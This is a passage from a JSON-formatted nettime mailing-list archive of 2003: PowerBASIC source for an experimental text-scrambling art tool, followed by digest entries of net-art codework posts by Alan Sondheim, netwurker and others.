p(5) = p(4): p(4) = k\n              v(5) = v(4): v(4) = ar(i,j,k)\n           ELSEIF ar(i,j,k) >= v(5) THEN\n              p(5) = k\n              v(5) = ar(i,j,k)\n           END IF\n       NEXT\n       IF ISFALSE v(1) THEN\n          INCR i\n          IF i = 127 THEN\n             i = 10\n             INCR j\n             IF j = 127 THEN\n                  myMSGBOX hwedit, \"je m'en fous - no match found!\"\n                  FUNCTION = 0\n                  EXIT FUNCTION\n             END IF\n          END IF\n             GOTO rsm\n       ELSE\n          IF ISFALSE v(2) THEN p(2) = p(1)\n          IF ISFALSE v(3) THEN p(3) = p(2)\n          IF ISFALSE v(4) THEN p(4) = p(3)\n          IF ISFALSE v(5) THEN p(5) = p(4)\n          i = j\n          IF RND > .66 THEN\n             j = p(1)\n          ELSEIF RND > .66 THEN\n             j = p(2)\n          ELSEIF RND > .66 THEN\n             j = p(3)\n          ELSEIF RND > .33 THEN\n             j = p(4)\n          ELSE\n             j = p(5)\n          END IF\n          s = CHR$(j)\n          ap. {AT} outpstring = ap. {AT} outpstring + s\n          FOR k = 1 TO 5: v(k) = 0: NEXT\n       END IF\n   NEXT\n   FUNCTION = 1\nEND FUNCTION\n\nFUNCTION Prok_Proc(AP AS AlgoParamsType) EXPORT AS LONG\n    'crawls through file, repperprpeatatatiiingng\n    'truncates input at ap.siz th character\n    RANDOMIZE TIMER\n    LOCAL i AS LONG\n    LOCAL c AS LONG\n    LOCAL a AS STRING\n    LOCAL b AS STRING\n    LOCAL buf$\n    LOCAL count AS LONG\n    buf$ = AP. {AT} inpstring  'REMOVE$(AP. {AT} inpstring, \"   \")\n    DIM arr(0 TO (LEN(buf$) - 1) ) AS LOCAL STRING * 1  AT STRPTR(buf$)\n\nprmn:\n    i = -5\n    FOR c = 5 TO LEN(buf$)  'ap.siz\n      IF done THEN EXIT FUNCTION\n      INCR count\n      IF count > ap.siz THEN EXIT FOR\n      IF i < 0 THEN\n         b = arr(c)\n      ELSE\n         b = arr(CEIL((c-i) + RND * i) )\n      END IF\n      IF RND > .3 THEN\n         INCR i\n      ELSE\n         DECR i\n      END IF\n      IF b = CHR$(10) THEN\n         i = -5\n         a = REMOVE$(a, CHR$(0))\n         AP. {AT} outpstring = Ap. {AT} outpString + a + CHR$(13, 10)\n         a=\"\"\n         ITERATE FOR\n      END IF\n      IF b = \" \" THEN i = 1\n      IF b=\"\" THEN INCR i: b = \"\"\n      a = a + b\n    NEXT\n    IF count < ap.siz THEN c = 0: GOTO prmn\n    FUNCTION = 1\n\nEND FUNCTION\n\nFUNCTION Prok2_Proc(AP AS AlgoParamsType) EXPORT AS LONG\n    'like prok but les rerrepperepeateaeatterrishishiishhshsh\n    RANDOMIZE TIMER\n    LOCAL i AS LONG\n    LOCAL c AS LONG\n    LOCAL lasti AS LONG\n    LOCAL LOeP AS LONG\n    LOCAL a AS STRING\n    LOCAL b AS STRING\n    LOCAL buf$\n    buf$ = REMOVE$(AP. {AT} inpstring, CHR$(13))\n    DIM arr(0 TO LEN(AP. {AT} inpstring) - 1) AS LOCAL STRING * 1 AT STRPTR(buf$)\n    a = arr(0) + arr(1) + arr(2)\n    lasti = 1\n    FOR c = 3 TO ap.siz\n        IF done THEN\n          EXIT FUNCTION\n        END IF\n        DO\n            INCR i\n            IF i > (UBOUND(arr) - 5) THEN i = 0\n            IF i = lasti THEN\n               INCR loep\n               IF loep > 1 THEN\n                  i = INT(RND * UBOUND(arr))\n                  a = a + arr(i)\n                  a = a + arr(i+1)\n                  a = a + arr(i+2)\n                  loep = 0\n                  ITERATE FOR\n               END IF\n            END IF\n            IF arr(i) = MID$(a, LEN(a) - 2, 1) THEN\n               IF arr(i + 1) = MID$(a,LEN(a)-1,1) THEN\n                  IF arr(i+2) = MID$(a,LEN(a),1) THEN\n                    IF arr(i + 3) = CHR$(10) THEN\n                      lasti = i\n                      a = REMOVE$(a, CHR$(0))\n                      AP. {AT} outpString = AP. {AT} outpString + a + CHR$(13, 10)\n                      a = arr(i+4) + arr(i+5)\n                     ELSE\n                       a = a + arr(i + 3)\n                       INCR i\n                     END IF\n                   EXIT LOOP\n                 END IF\n               END IF\n            END IF\n        LOOP\n    NEXT\n    FUNCTION = 1\nEND FUNCTION\n\nFUNCTION Prok3_Proc(AP AS AlgoParamsType) EXPORT AS LONG\n    'like proc2, result is closer to original syntax...\n    RANDOMIZE TIMER\n    LOCAL i AS LONG\n    LOCAL c AS LONG\n    LOCAL f AS LONG\n    LOCAL lasti AS LONG\n    LOCAL LOeP AS LONG\n    LOCAL a AS STRING\n    LOCAL b AS STRING\n    LOCAL buf$\n    buf$ = REMOVE$(AP. {AT} inpString, CHR$(13))\n    DIM arr(0 TO LEN(AP. {AT} inpString) - 1) AS LOCAL STRING * 1 AT STRPTR(buf$)\n    a = arr(0) + arr(1) + arr(2)\n    lasti = 1\n\n    FOR c = 3 TO ap.siz\n        IF ISFALSE (c MOD 50) THEN\n           IF done THEN\n              CLOSE f\n              EXIT FUNCTION\n           END IF\n        END IF\n        DO\n            INCR i\n            IF i > (UBOUND(arr) - 5) THEN i = 0\n            IF i = lasti THEN\n               INCR loep\n               IF loep > 1 THEN\n                  i = INT(RND * UBOUND(arr))\n                  DO UNTIL (arr(i) <> CHR$(10) AND arr(i+1) <> CHR$(10) AND \narr(i+2) <> CHR$(10))\n                     i = INT(RND * UBOUND(arr))\n                  LOOP\n                  a = a + arr(i)\n                  a = a + arr(i+1)\n                  a = a + arr(i+2)\n                  loep = 0\n                  ITERATE FOR\n               END IF\n            END IF\n            IF arr(i) = MID$(a, LEN(a) - 2, 1) THEN\n               IF arr(i + 1) = MID$(a,LEN(a)-1,1) THEN\n                  IF arr(i+2) = MID$(a,LEN(a),1) THEN\n                    IF arr(i + 3) = CHR$(10) THEN\n                      lasti = i\n                      AP. {AT} outpString = AP. {AT} outpString + a + CHR$(13, 10)\n                      a = \"\"\n                      IF arr(i+4) <> CHR$(10) THEN a = a + arr(i+4)\n                      IF arr(i+5)<> CHR$(10) THEN a = a + arr(i+5)\n                    ELSE\n                       a = a + arr(i + 3)\n                       IF arr(i + 3) = \".\" THEN a = a + \"  \"\n                       a = a + arr(i+4)\n                       IF arr(i + 4) = \".\" THEN a = a + \"  \"\n\n                       i = INT(RND * UBOUND(arr))\n                     END IF\n                   EXIT LOOP\n                 END IF\n               END IF\n            END IF\n        LOOP\n    NEXT\n    FUNCTION = 1\nEND FUNCTION\n\nFUNCTION Dechar_Proc(AP AS AlgoParamsType) EXPORT AS LONG\n    '1:1 character replacement, .dat file as input\n    LOCAL f AS LONG\n    LOCAL buf$\n    LOCAL i AS LONG\n    LOCAL j AS LONG\n    LOCAL k AS LONG\n    LOCAL l AS LONG\n    LOCAL c AS LONG\n    'do dialog stuff....\n    f = FREEFILE\n    OPEN  AP. {AT} datfile FOR INPUT AS f\n    DO\n       IF EOF(f) THEN GOTO ivrpfil\n       LINE INPUT #f, buf$\n    LOOP WHILE MID$(TRIM$(buf$),1,1) = \"'\"\n    IF EOF(f) THEN GOTO ivrpfil\n    i = VAL(buf$)\n    IF i<= 0 THEN GOTO ivrpfil\n    IF EOF(f) THEN GOTO ivrpfil\n    DIM rp(1 TO i, 0 TO 10) AS BYTE\n    FOR j = 1 TO i\n        LINE INPUT #f, buf$\n        buf$ = TRIM$(buf$)\n        rp(j,0) = ASC(TRIM$(PARSE$(buf$,1)))\n        FOR k = 2 TO PARSECOUNT(buf$)\n            IF k > 11 THEN EXIT FOR\n            rp(j, k-1) = ASC(PARSE$(buf$,k))\n        NEXT k\n        IF EOF(f) THEN EXIT FOR\n    NEXT j\n    CLOSE f\n    AP. {AT} outpString = AP. {AT} inpString\n    FOR i = 1 TO LEN(AP. {AT} inpstring)\n         c = ASC(MID$(AP. {AT} inpString, i, 1))\n         FOR j = 1 TO UBOUND(Rp, 1)\n             IF RP(j, 0) = c THEN\n                IF ISFALSE rp(j,1) THEN ITERATE FOR\n                FOR k = 2 TO 10\n                   IF ISFALSE rp(j,k) THEN\n                     DECR k:DECR k\n                     k = 1 + k * RND\n                     EXIT FOR\n                   END IF\n                NEXT k\n                MID$(AP. {AT} outpString, i, 1) = CHR$(rp(j,k))\n                EXIT FOR\n             END IF\n         NEXT\n    NEXT\n    FUNCTION = 1\nrelw:\n    EXIT FUNCTION\nivrpfil:\n    CLOSE f\n    myMSGBOX hwedit, \"invalid data file {AT} lo_y.replacer\"\n    FUNCTION = 0\n    GOTO relw\nEND FUNCTION\n\nFUNCTION LPF_Proc (AP AS AlgoParamsType) EXPORT AS LONG\n    LOCAL i AS LONG\n    LOCAL count AS LONG\n    LOCAL buf$\n    DIM arstat(0 TO 255) AS LOCAL LONG\n    DIM tagarstat(0 TO 255) AS LOCAL LONG\n    DIM arbuf AS STRING\n    arbuf = AP. {AT} inpString\n    DIM ardat(0 TO LEN(arbuf)) AS LOCAL BYTE AT STRPTR(arbuf)\n    FOR i = 0 TO 255\n        tagarstat(i) = i\n    NEXT\n    FOR count = 0 TO UBOUND(ardat)\n       i = ardat(count)\n       INCR arstat(i)\n    NEXT\n    IF done THEN GOTO qbort\n    ARRAY SORT arstat() , TAGARRAY tagarstat()\n    FOR count = 0 TO UBOUND(ardat)\n        ardat(count) = tagarstat(ardat(count))\n    NEXT\n    FOR count = UBOUND(ardat) TO 1 STEP -1\n        ardat(count) = INT((ardat(count-1) + 5 * ardat(count)) / 6)\n    NEXT\n    IF done THEN GOTO qbort\n    FOR count = 1 TO UBOUND(ardat)\n        FOR i = 0 TO 255\n            IF ardat(count) = tagarstat(i) THEN\n               ardat(count) = i\n               EXIT FOR\n            END IF\n        NEXT\n    NEXT\n    ARRAY SORT tagarstat() , TAGARRAY arstat()\n    IF done THEN GOTO qbort\n    buf$ = \"\"\n    FOR count = 0 TO UBOUND(ardat)\npnieuw:\n        IF ardat(count) >= ASC(\" \")THEN\n           IF ISFALSE arstat(ardat(count)) THEN\n              DECR ardat(count)\n              GOTO pnieuw\n           END IF\n        ELSE\n           IF RND < .8 THEN\n              ardat(count) = ASC(\" \")\n           ELSE\n              ardat(count) = 13\n           END IF\n        END IF\n    NEXT\n    REPLACE CHR$(13) WITH CHR$(13, 10) IN arbuf\n    AP. {AT} outpstring = arbuf\n    DIALOG DOEVENTS\n    DIALOG DOEVENTS\nqbort:\n    DIALOG DOEVENTS\n    FUNCTION = 1\nEND FUNCTION\n\nFUNCTION LPF_TD_PROC(AP AS AlgoPAramsType) AS LONG\n     LOCAL i AS LONG\n     LOCAL x1 AS BYTE\n     LOCAL x2 AS BYTE\n     LOCAL x3 AS BYTE\n     LOCAL x4 AS BYTE\n     LOCAL x5 AS BYTE\n     LOCAL x6 AS BYTE\n     DIM arbuf AS STRING\n     arbuf = AP. {AT} inpstring\n     DIM ardat(0 TO LEN(arbuf)) AS LOCAL BYTE AT STRPTR(arbuf)\n     FOR i = 0 TO UBOUND(ardat)\n         x6 = x4\n         x5 = x4\n         x4 = x3\n         x3 = x2\n         x2 = x1\n         x1 = ardat(i)\n         IF ardat(i) < 48 THEN ITERATE FOR\n         IF CHR$(ardat(i)) <> \" \" THEN ardat(i) = INT((ardat(i) + x1  + x4 \n+ 3 * x6) / 6! )\n     NEXT\n     arbuf = REMOVE$(arbuf, CHR$(10))\n     REPLACE CHR$(13) WITH $CRLF IN arbuf\n     AP. {AT} outpstring = arbuf\n     FUNCTION = 1\nEND FUNCTION\n\nFUNCTION LPF2_Proc (AP AS AlgoParamsType) EXPORT AS LONG\n    LOCAL i AS LONG\n    LOCAL count AS LONG\n    LOCAL buf$\n    LOCAL arbuf AS STRING\n    DIM arstat(0 TO 255) AS LOCAL LONG\n    DIM tagarstat(0 TO 255) AS LOCAL LONG\n\n\n    arbuf = AP. {AT} inpString\n    DIM ardat(0 TO LEN(ArBuf)) AS LOCAL BYTE AT STRPTR(arbuf)\n    FOR i = 0 TO 255\n        tagarstat(i) = i\n    NEXT\n    FOR count = 0 TO UBOUND(ardat)\n       IF ISFALSE (count MOD 500) THEN\n       END IF\n       i = ardat(count)\n       IF i > 32 THEN INCR arstat(i)\n    NEXT\n    IF done THEN GOTO qbort\n    IF count > UBOUND(ardat) THEN count = UBOUND(ardat)\n    ARRAY SORT arstat() , TAGARRAY tagarstat()\n    FOR count = 0 TO UBOUND(ardat)\n        IF ardat(count) > 32 THEN\n           ardat(count) = tagarstat(ardat(count))\n        END IF\n    NEXT\n    FOR count = UBOUND(ardat) TO 1 STEP -1\n        IF ardat(count) > 32 THEN\n           ardat(count) = 32 + INT((ardat(count-1) + 2 * ardat(count)) / \n3)  'was 5 & 6\n        END IF\n    NEXT\n    FOR count = 1 TO UBOUND(ardat)\n        IF ISFALSE (count MOD 500) THEN\n           IF done THEN GOTO qbort\n        END IF\n        IF ardat(count)> 32 THEN\n           FOR i = 0 TO 255\n               IF ardat(count) - 32 = tagarstat(i) THEN\n                  ardat(count) = i + 32\n                  EXIT FOR\n               END IF\n           NEXT\n        END IF\n    NEXT\n    ARRAY SORT tagarstat() , TAGARRAY arstat()\n    buf$ = \"\"\n    FOR count = 0 TO UBOUND(ardat)\n        IF ISFALSE (count MOD 500) THEN\n           IF done THEN GOTO qbort\n        END IF\npnieuw:\n        IF ardat(count) > 32 THEN\n           IF arstat(ardat(count)-32) THEN\n               ardat(count) = ardat(count) - 32\n           ELSE\n              DECR ardat(count)\n              GOTO pnieuw\n           END IF\n        END IF\n    NEXT\n    REPLACE CHR$(0) WITH \" \" IN arbuf\n    AP. {AT} outpString =  arbuf\nqbort:\n    FUNCTION = 1\nEND FUNCTION\n\nFUNCTION Spacer_Proc (AP AS AlgoParamsType) EXPORT AS LONG\n    'add spaces\n    REGISTER i AS DWORD\n    REGISTER j AS DWORD\n    LOCAL count AS LONG\n    LOCAL b AS STRING * 1\n    i = SQR(RND) * 4 + (RND  ^ 2) * 6\n    j = 2 + SQR(RND) * 3 + (RND  ^ 2) * 10\n   FOR count = 1 TO LEN(AP. {AT} inpString)\n       IF ISFALSE i THEN\n          IF ISFALSE j THEN\n             AP. {AT} outpString = AP. {AT} outpString + CHR$(13, 10)\n             j = 2 + SQR(RND) * 3 + (RND ^ 2) * 4\n             i =  SQR(RND) * 4 + (RND  ^ 2) * 5\n          END IF\n          AP. {AT} outpString = AP. {AT} outpString + \"  \"\n          i =  SQR(RND) * 4 + (RND  ^ 2) * 5\n          DECR j\n       END IF\n       AP. {AT} outpString = AP. {AT} outpString + MID$(AP. {AT} inpString, count, 1)\n       IF MID$(AP. {AT} inpString, count, 1)  = CHR$(13) THEN\n          AP. {AT} outpString = AP. {AT} outpString + CHR$(10)\n          INCR count\n       END IF\n       DECR i\n   NEXT\n   FUNCTION = 1\nEND FUNCTION\n\nFUNCTION GrandMix_Rand_Proc(AP AS AlgoParamsType) EXPORT AS LONG\n    'mix main richedit with buffer\n    LOCAL buf$\n    LOCAL i AS LONG\n    LOCAL circount AS LONG\n    LOCAL pos AS LONG\n    FOR i = 1 TO ap.siz\n         pos = (i/ap.siz) * LEN(AP. {AT} inpstring)  - 3 + RND * 6\n         IF pos > LEN(AP. {AT} inpstring) THEN\n              pos = LEN(AP. {AT} inpstring)\n         ELSEIF pos < 0 THEN\n             pos = 0\n         END IF\n         buf$ = MID$(AP. {AT} inpstring, pos, 1)\n         AP. {AT} outpstring = AP. {AT} outpstring + buf$\n         pos = (i/ap.siz) * LEN(AP. {AT} inpstring2)  - 3 + RND * 6\n         IF pos > LEN(AP. {AT} inpstring2) THEN\n              pos = LEN(AP. {AT} inpstring2)\n         ELSEIF pos < 0 THEN\n             pos = 0\n         END IF\n         buf$ = MID$(AP. {AT} inpstring2, pos, 1)\n         AP. {AT} outpstring = AP. {AT} outpstring + buf$\n    NEXT\n    FUNCTION = 1\nEND FUNCTION\n\nFUNCTION GrandMix_Proc(AP AS AlgoParamsType) EXPORT AS LONG\n    LOCAL buf$\n    LOCAL i AS LONG\n    LOCAL pos AS LONG\n     FOR i = 1 TO ap.siz\n        pos = (i/ap.siz) * LEN(AP. {AT} inpstring)\n         buf$ = MID$(AP. {AT} inpstring, pos, 1)\n        IF buf$ = CHR$(13) THEN buf$ = buf$ + CHR$(10)\n        IF buf$ = CHR$(10) THEN buf$ = \"\" 'CHR$(13) + buf$\n        AP. {AT} outpstring = AP. {AT} outpstring + buf$\n        pos = (i/ap.siz) * LEN(AP. {AT} inpString2)\n        buf$ = MID$(AP. {AT} inpstring2, pos, 1)\n        IF buf$ = CHR$(13) THEN buf$ = \"\" 'buf$ + CHR$(10)  'only accept \nline breaks in main edit win\n        IF buf$ = CHR$(10) THEN buf$ = \"\" 'CHR$(13) + buf$\n        AP. {AT} outpstring = AP. {AT} outpstring + buf$\n   NEXT\n   FUNCTION = 1\nEND FUNCTION\n\nFUNCTION Wrap(AP AS AlgoParamsType) EXPORT AS LONG\n   LOCAL pos AS LONG\n   LOCAL c AS LONG\n   LOCAL buf$\n   AP. {AT} inpString = REMOVE$(AP. {AT} inpString, CHR$(10))\n   FOR pos = 1 TO LEN(AP. {AT} inpstring)\n       IF MID$(AP. {AT} inpString, pos, 1) = CHR$(13) THEN\n           IF ISFALSE c THEN ITERATE FOR\n           c = 0\n           AP. {AT} outpString = AP. {AT} outpstring + buf$ + CHR$(13, 10)\n           buf$ = \"\"\n           ITERATE FOR\n       END IF\n       INCR c\n       buf$ = buf$ + MID$(AP. {AT} inpString, pos, 1)\n       IF c >= AP.num THEN\n           FOR c = LEN(buf$) TO 0 STEP  - 1\n               IF MID$(buf$, c, 1) = \" \" THEN EXIT FOR\n               IF MID$(buf$, c, 1) = \"-\" THEN EXIT FOR\n               IF MID$(buf$, c, 1) = \"_\" THEN EXIT FOR\n               IF MID$(buf$, c, 1) = \",\" THEN EXIT FOR\n               IF MID$(buf$, c, 1) = \";\" THEN EXIT FOR\n           NEXT\n           IF c > 0 THEN\n               pos = pos - LEN(buf$) + c\n               AP. {AT} outpString = AP. {AT} outpString + MID$(buf$, 1, c) + \nCHR$(13, 10)\n               buf$ = \"\"\n               c = 0\n           ELSE\n               AP. {AT} outpString = AP. {AT} outpString + buf$ + CHR$(13, 10)\n               buf$ = \"\"\n               c = 0\n           END IF\n           ITERATE FOR\n       END IF\n   NEXT\n   FUNCTION = 1\nEND FUNCTION\n\n\nFUNCTION Format(AP AS AlgoParamsType) EXPORT AS LONG\n     LOCAL i AS LONG\n     AP. {AT} inpstring = LCASE$(REMOVE$(AP. {AT} inpstring, ANY CHR$(13, 10) + \" \"))\n     AP. {AT} InpString2 = REMOVE$(AP. {AT} inpstring2, CHR$(10))\n\n     FOR i = 1 TO MIN(LEN(AP. {AT} inpstring), LEN(AP. {AT} inpstring2))\n         SELECT CASE MID$(AP. {AT} inpstring2, i, 1)\n             CASE \".\", \"'\", \";\", \",\", \"#\", \" {AT} \", \"*\", \"\\\", \"/\", \"+\", \"=\", \n\"|\", \" \", \"[\", \"]\", \"(\", \")\", \"{\", \"}\", \"-\", \"_\", $DQ, \"%\", \":\"\n                 AP. {AT} outpstring = AP. {AT} outpstring + MID$(AP. {AT} inpstring2, i, 1)\n             CASE \" \"\n                 SELECT CASE MID$(AP. {AT} inpstring2, i+1, 1)\n                     CASE  \"-\", \"_\", \"+\", \"=\", \" {AT} \", \">\", \"<\", \"#\", \"[\", \n\"]\", \"(\", \")\", \"{\", \"}\"\n                         IF MID$(AP. {AT} inpstring2, i+2, 1) = \" \" THEN\n                             AP. {AT} outpstring = AP. {AT} outpstring + \nMID$(AP. {AT} inpstring2, i, 3)\n                             i = i + 2\n                             ITERATE FOR\n                         END IF\n                         AP. {AT} outpstring = AP. {AT} outpstring + \nMID$(AP. {AT} inpstring2, i, 2)\n                         INCR i\n                     CASE ELSE\n                         AP. {AT} outpstring = AP. {AT} outpstring + \nMID$(AP. {AT} InpString, i, 1)\n                 END SELECT\n             CASE CHR$(13)\n                 AP. {AT} outpstring = AP. {AT} outpstring + CHR$(13, 10)\n             CASE \"[\", \"]\", \"(\", \")\", \"{\", \"}\"\n                 AP. {AT} outpstring = AP. {AT} outpstring + MID$(AP. {AT} inpstring2, i, 1)\n             CASE \"A\" TO \"Z\"\n                 AP. {AT} outpstring = AP. {AT} outpstring + \nUCASE$(MID$(AP. {AT} inpstring, i, 1))\n             CASE ELSE\n                 AP. {AT} outpstring = AP. {AT} outpstring + MID$(AP. {AT} inpstring, i, 1)\n         END SELECT\n     NEXT\n     IF i<2 THEN EXIT FUNCTION\n     FUNCTION = 1\n\nEND FUNCTION\n\nFUNCTION Repl (AP AS AlgoParamsType) AS LONG\n     LOCAL buf$\n     LOCAL fr$\n     LOCAL t$\n     buf$ = Ap. {AT} Datfile\n     IF PARSECOUNT(buf$, \":\")<> 2 THEN myMSGBOX hwedit, \"try syntax \n'fromstring:tostring'\": EXIT FUNCTION\n     fr$ = PARSE$(buf$, \":\", 1)\n     t$ = PARSE$(buf$, \":\", 2)\n     buf$ = AP. {AT} inpstring\n     REPLACE fr$ WITH t$ IN buf$\n     AP. {AT} outpstring = buf$\n     FUNCTION = 1\nEND FUNCTION\n\nFUNCTION MakeFont(BYVAL Fnt AS STRING, BYVAL PointSize AS LONG) AS LONG\n   LOCAL hDC      AS LONG\n   LOCAL CyPixels AS LONG\n   hDC = GetDC(%HWND_DESKTOP)\n   CyPixels  = GetDeviceCaps(hDC, %LOGPIXELSY)\n   ReleaseDC %HWND_DESKTOP, hDC\n   PointSize = (PointSize * CyPixels) \\ 72\n   FUNCTION = CreateFont(0 - PointSize, 0, 0, 0, %FW_NORMAL, 0, 0, 0, _\n             %ANSI_CHARSET, %OUT_TT_PRECIS, %CLIP_DEFAULT_PRECIS, _\n             %DEFAULT_QUALITY, %FF_DONTCARE, BYCOPY Fnt)\nEND FUNCTION\n\n\n\n\n\n'EOF\n\n\n\n\n\nnettime unstable digest vol 70\nFri Oct 17 17:45:11 2003\n\n\nSubject: Re:  . | \" || 11-10-2003-13:13 |\n    From: \"[__lo-y. ]\" <loy {AT} myrealbox.com>\n    To: syndicate {AT} anart.no, list {AT} rhizome.org, _arc.hive_ {AT} lm.va.com.au,\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 23 Oct 2003 17:30:09 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200310231710.h9NHAxZ27000 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0310/msg00176.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 70 [extra issue]"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00162",
                "content": "\n\nDate:         Thu, 16 Oct 2003 08:49:47 +1000\nFrom: \"N.B.Twixt\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: Re: #1\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAt 09:32 PM 15/10/2003 +0100, you wrote:\n>\n>she doesn't like computers because there are\n\n.....non-n[u(n)clear]arrative ban.d[og].width[+length +uber.vocal.height]\n\n\n[unpack.ur.chords.+.data.growl||||||||||||||||||||||||||||||||||]\n\n\n\n\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Thu, 16 Oct 2003 11:41:16 -0400 (EDT)\nSubject: current interrelated spam insertions\n\n\n\n\ncurrent interrelated spam insertions\n\n\nc29uZGhlaW1AcGFuaXguY29t when Piggy died so did the conch. This means\nthat when reason is destroyedAma refers to them as messengers. The two\nwomen then go inside. As they do\nand has become fixated on a powerful Party member named O^=D2Brien is an\nmarvelous entertainer.\n\nc29uZGhlaW1AcGFuaXguY29t He decides to leave school a few days than what\nhe is supposed to in an attempt to deal with his current situation.\nBesides and completely controlled by the ruling Party.\nhe ignores them completely. Holdens favorite author besides his brother\nis Ring Lardner. There is one story that kills him that shows his\nunderstanding of laws. written by Ernest Hemingway is about the love\nstory of a nurse and a war ridden soldier. The story starts as Frederick\nHenry is serving in the Italian Army. He meets his future love in the\nhospital that he gets put in for various reasons. I thought that A\nFarewell to Arms was a good book because of the symbolism\n\n___\n\n=20\n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/=20\n\n\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: \"N.B.Twixt\" <netwurker {AT} hotkey.net.au>\nDate: Thu, 16 Oct 2003 08:46:43 +1000\nSubject: Re:  _flash_spring::bored_\n\nAt 12:07 PM 15/10/2003 -0400, you wrote:\n>new Sound();\n\n\nnon-n[u(n)clear]arrative ban.d[og].width[+length +uber.vocal.height]\n\n\n[unpack.ur.chords.+.data.growl||||||||||||||||||||||||||||||||||]\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nDate:         Fri, 17 Oct 2003 03:07:49 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: ::21/131/1/1/1//1 \\ code\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n::21/131/1/1/1//1 \\ code\n\n\n\n1/1y1//21/1/1/131//2141//131/21/1/1/1--/131//21/131/131/131/131y21/2141/1\n21/21/1//131/1/1/1/131/131/131/21/131/21/131/21--/21/1/1/1//131/1/131/\n1/131/1/1/2141/21/131/,131/1/21/2141//131/2141/131/21/1/131/21/1y21/1/1/21\n21/21/131//131/21/21/1/131/131/21/21/1//2141/21/131/2141/131/2141/21/1/21//1\n21/21/131/1/21/21/131/131/21/21/21/131//1--y//21/21/21/21//1/131/21/21/21/1\n21/131y/21/21/1/1--21/21/21521/1/1/21/21/21/131/21/1/1/21/21/1/1/131y131/\n1/131/131/131/1/21/21/21/1/1/2141/21/21521/21/2141/21//2141/21/2141/\n21/1/1//2141/131/2141/1/1/131/2141/131//21/131/21521/2141/131--\n****1/21//131//2141//1****21/21/1/131/2141/21/2141/131/2141/21//21/1/21521/1\n21/131/21521/1y1/131/21/21/2141/1/1/21/21//2141/21/21/131/21/1/21/1/21/21\n1/131/21/1/131/1DNA=21/21/21/2141/21/21//131/131/131/131/1/21/1/1/1//1\n21/131/21/2141/131y1/1/2141/21521/21/1/21//1****1/1/1/131/21/2141/131/1\n/21/1/****/131/2141/21//21/21/21y//131/21/1/1//2141/y,131/21/21/2141/131/1/\n1//1/21y131/2141/2141/2141y//131/215131/21/21/1/1/21/131/21//131/2141/\n1/1/1/21/131/21/21/21521/21/2141y21/21/21/1/131/2141/21/1/1/21/1/1/\n1/1/21//21/1y21/1/1/21/131/1/21/21/21/21//21/131//1/1/2141//131//21521//131/\n21//1/1/1/2141/21521/21/21/21/1X1/131/1//131/21/131/21/21/21/21/21/2141/1/\n1/1/131//1/21/2141/21/1//1/21//131/21//21/1/2141/1/1/131/21/21/131//21/1/\n1/1/1/2141/2141/21/21/131/2141/21/131/2141/1//1/131/131/2141y1/21/1/1y21/131\n/21/21/21/1/21/1/21//131/131/y1/1/1/131/21521/21/1/131/21/y/1/21/1/1/1!!!\n1/21I131/131/1//2141/131//21/2141/1/1/1/131/21/131/1/131/131/131/21/2141/\n1/131???1I21/1//131/131/1/y/131/131/215131y21/21/1/2141/21/21/1=/21/131/21\n/2141/21/1/21/2141/21/1/1/21521/21/131/1/131/131/131/21/1///21y****1I131/1/\n1/1/21/1/1/21/131I1/131/131/2141/y131/1/1/131/21/1/1/131//131/131/2141/\n1/2141/131/2141/21//1/1/131/131/1/1/21/21/1/21/21/21//131/131/1/131/1/1/21\n1/131/21521/1/21521/1/21/21/1/1y21/21//2141/21/1/21/2141/21/1/131/1y21/1/\n21/21/21521/21/2141/131/1/1//2141/1/1I1/21/21/2141/1/1/2141/1/=1/131/\n/21/1/131/131/21/2141/1/=1/2141/21.21/215131y....1/1/131/21//1/2141/1/21/1\n21/21/y1/1/131/2141/1/1/1/131//131/21/1//21/21/21//2141/131/131//1/21/21/1\n/21/2141/2141//1/2141/2141/1/1/1/1//21/2141/1/131/21//21/2141/21/21/21/21y\n1/1/131/1y131/131y21/131/21/21/21/21/131y131/21/21/21/21521/131y21/131/131/1\n1/21/21/131/131/1y//2141/y/21/2141/1/21/131/1/21/21/21-21//1/131/1y//131//1.\n\n\n\n::  /   / / / // \\ decode\n\n\n\n / y //  / / /   //    //   /  / / / --/   //  /   /   /   /   y  /    /\n  /  / //   / / / /   /   /   /  /   /  /   /  --/  / / / //   / /   /\n /   / / /    /  /   /,   / /  /    //   /    /   /  / /   /  / y  / / /\n  /  /   //   /  /  / /   /   /  /  / //    /  /   /    /   /    /  / /  //\n  /  /   / /  /  /   /   /  /  /  /   // --y//  /  /  /  // /   /  /  /  /\n  /   y/  /  / / --  /  /     / / /  /  /  /   /  / / /  /  / / /   y   /\n /  